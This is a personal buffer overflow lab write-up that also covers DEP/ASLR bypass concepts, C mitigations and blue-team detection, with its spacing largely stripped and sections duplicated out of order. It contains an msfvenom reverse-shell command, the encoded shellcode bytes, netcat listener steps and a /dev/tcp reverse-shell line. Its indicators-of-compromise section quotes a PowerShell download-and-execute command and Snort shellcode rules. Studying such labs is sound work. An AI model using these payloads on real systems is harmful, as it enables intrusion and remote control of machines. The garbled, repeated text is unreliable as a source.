GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
